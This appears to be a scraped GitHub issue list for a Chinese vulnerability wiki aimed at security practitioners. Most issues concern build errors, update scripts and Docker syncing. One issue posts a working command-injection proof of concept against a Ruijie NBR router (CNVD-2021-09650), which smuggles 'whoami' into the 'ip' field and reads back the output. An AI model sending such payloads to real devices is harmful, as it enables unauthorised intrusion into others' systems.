peiqi0 / peiqi-wiki-book Goto Github PK
View Code? Open in Web Editor NEW面向网络安全从业者的知识文库🍃
Home Page: https://peiqi.wgpsec.org
面向网络安全从业者的知识文库🍃
Home Page: https://peiqi.wgpsec.org
报错error Command failed with exit code 137. 是什么意思,怎么解决
Node18.7.1 LTS版本,yarn编译报错,报错内容:
this[kHandle] = new _Hash(algorithm, xofLen);
^
Error: error:0308010C:digital envelope routines::unsupported
临时解决方案:
修改package.json:
"scripts": { "docs:dev": "set NODE_OPTIONS=--openssl-legacy-provider && vuepress dev docs", "docs:build": "set NODE_OPTIONS=--openssl-legacy-provider && vuepress build docs --max-concurrency" },
由于直接运行更新脚本无法更新文库内容到2023.8.9之后,所以我更改的更新脚本的内容使其达到了更新的效果,方法可能比较丑陋,还请大佬帮忙修改完善,感谢
#!/bin/bash
echo `date '+%Y-%m-%d %H:%M:%S'` > /usr/share/nginx/html/gitlog.log
cd /usr/share/nginx/html/PeiQi-WIKI-Book
echo `git pull` > /usr/share/nginx/html/gitlog.log
cd /usr/share/nginx/html/
if [ ! -d "/usr/share/nginx/html/dist" ]; then
git clone -b gh-pages https://github.com/PeiQi0/PeiQi-WIKI-Book.git dist
else
cd /usr/share/nginx/html/dist && git pull
fi
cp -r -f /usr/share/nginx/html/dist/* /usr/share/nginx/html/PeiQi-WIKI-Book/docs/.vuepress/dist/
如题 。不懂怎么搭建
看了md文件,8月10号内容已经有了,但是加载不出来,不知道是不是师傅没有重新编译,我自己编译报错,试了很多办法,清缓存,重启nginx等等,都不成功。
😄
你好,怎么实现文章内容的检索,而不是根据文章标题检索
锐捷 NBR 路由器 guestIsUp.php 远程命令执行漏洞 CNVD-2021-09650
实战发现,给出的poc效果不佳,将poc换成如下,效果更好
POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|whoami>tmp5.txt
GET /guest_auth/tmp5.txt
No SSL certificate
师傅还能访问吗
请问docker版需要怎么同步
而且有些应用软件(WebApp)里的东西实际上是中间件,比如Redis。
docs/.vuepress/public/img/1684385461375-d54ce083-ef90-4946-b00a-2422bf9169a8.png 返回包有东西没打码
现在更新只能到今年5月1日的内容吗?
师傅 Windows使用git克隆会遇到文件名太长的问题 这个2个图片名能改短些吗
error: unable to create file docs/.vuepress/dist/img/68747470733a2f2f7261772e6769746875622e636f6d2f4173636f7462652f496d6167652f6d61737465722f4b65726e656c6875622f4356452d323032322d32313838325f57696e646f77735f31305f323168325f5836342e676966-20220420095052148.gif: Filename too long
error: unable to create file docs/.vuepress/public/img/68747470733a2f2f7261772e6769746875622e636f6d2f4173636f7462652f496d6167652f6d61737465722f4b65726e656c6875622f4356452d323032322d32313838325f57696e646f77735f31305f323168325f5836342e676966-20220420095052148.gif: Filename too long
直接克隆下载解压显示“文件损坏”,重新打包更新一下嘛?
比如我本地搭建好环境以后,想修改某个漏洞信息的内容,但是修改了md文件内容后,html页面访问还是原始内容?应该怎么让修改后的md内容在前台html页面显示?谢谢
好像docker并不会同步更新gitee,建议在docker中内置一个sh脚本进行每天自动定时任务自动从gitee仓库更新,然后将磁盘挂载宿主机这种方式会更好点
编译后页面的图片会加载不出来
https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/H3C/H3C%20SecParh%E5%A0%A1%E5%9E%92%E6%9C%BA%20data_provider.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
和
https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/H3C/H3C%20SecParh%E5%A0%A1%E5%9E%92%E6%9C%BA%20get_detail_view.php%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.md
写串了,或者可以整合成一个
怎么跟在线WIKI不同步呀!整个jkens自动发布docker呀
师傅,更新脚本怎么更新github仓库上的?默认更新gitee的文章同步慢
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.